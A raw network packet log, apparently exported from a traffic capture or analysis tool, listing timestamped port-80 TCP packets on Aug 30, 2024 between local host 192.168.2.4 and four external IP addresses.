Aug 30, 2024 03:17:07.317147970 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317159891 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.317159891 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317172050 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317176104 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.317186117 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.317209959 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317236900 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.317406893 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.317428112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.317439079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.317470074 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.317490101 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.317518950 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.317529917 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.317539930 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.317550898 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.317565918 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.317590952 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.318658113 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.318700075 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.318712950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.318738937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.318777084 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.318788052 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.318799019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.318818092 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.318844080 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.318850040 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.318864107 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.318873882 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.318897963 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.318922997 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.319474936 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.319483995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.319521904 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.319556952 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.319572926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.319588900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.319598913 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.319598913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.319608927 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.319612980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.319624901 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.319631100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.319653988 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.319675922 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.320193052 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320202112 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320219994 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320240974 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320251942 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320271969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320282936 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320293903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320307970 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320313931 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320314884 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320324898 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320333004 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320352077 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320363998 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320704937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320715904 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320745945 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320763111 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320772886 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320782900 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320807934 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320807934 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320815086 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320820093 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320828915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320846081 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320858002 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320898056 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320907116 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320915937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320935965 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320946932 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.320972919 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.320983887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321005106 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321013927 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321016073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321024895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321033955 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321034908 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321044922 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321057081 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321065903 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321067095 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321089983 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321089983 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321100950 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321108103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321110964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321135044 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321139097 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321154118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321156025 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321165085 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321176052 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321181059 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321187019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321194887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321218967 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321219921 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321233988 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321249008 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321259022 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321268082 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321279049 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321285963 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321290016 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321300030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321310043 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321340084 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321379900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321391106 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321400881 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321410894 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321419954 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321423054 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321434021 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321441889 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321458101 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321465969 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321480036 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321482897 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321490049 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321491003 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321501970 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321510077 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321511030 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321522951 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321532965 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321535110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321547031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321547031 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321557045 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321571112 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321582079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321588993 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321592093 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321603060 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321613073 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321623087 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321623087 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321633101 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321636915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321646929 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321662903 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321666002 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321670055 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321681976 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321690083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321691990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321702003 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321707010 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321713924 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321722984 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321729898 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321748018 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321755886 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.321758032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321780920 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.321783066 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321790934 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321801901 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.321813107 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.321837902 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.322002888 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.322014093 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.322024107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322035074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322045088 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322053909 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.322056055 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322071075 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322079897 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322089911 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322092056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322101116 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.322122097 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322130919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322138071 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.322140932 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322150946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322161913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322165966 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322171926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322182894 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322184086 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322206974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322206974 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322215080 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322231054 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322242022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322242022 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322254896 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322264910 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322274923 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322278976 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322285891 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322295904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322297096 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322308064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322319984 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322325945 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322338104 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322346926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322348118 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322357893 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322369099 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.322371006 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322388887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.322410107 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.323442936 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.323466063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.323477030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.323513985 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.323558092 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.323570013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.323580027 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.323597908 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.323601007 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.323613882 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.323633909 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.345444918 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.345455885 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.345460892 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.345494986 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.345500946 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.345506907 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.345549107 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.345557928 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.345609903 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.345642090 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.351093054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351103067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351113081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351170063 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.351239920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351249933 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351259947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351272106 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351280928 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.351283073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351289988 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.351299047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351315022 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.351321936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351332903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351332903 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.351345062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351355076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351357937 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.351366043 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.351375103 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.351402998 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.358993053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359031916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359046936 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359083891 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359102964 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359121084 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359131098 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359141111 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359150887 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359160900 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359164953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359193087 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359200954 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359226942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359236956 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359251976 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359261990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359262943 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359272003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359272957 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359282970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359292984 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359292984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359322071 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359338045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359373093 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359375000 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359385014 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359416962 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359488010 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359498978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359508038 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359519005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359536886 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359546900 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359568119 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359579086 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359590054 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359599113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359601974 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359608889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359630108 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359652042 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359679937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359698057 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359709024 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359719038 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359730005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359731913 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359740973 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359755039 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359765053 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359791040 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359872103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359883070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359893084 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359915972 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359918118 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359927893 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359937906 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359939098 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359950066 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359961033 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359961033 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359971046 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.359986067 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.359997988 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.360038042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360048056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360058069 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360069990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.360078096 CEST	49734	80	192.168.2.4	147.45.44.104
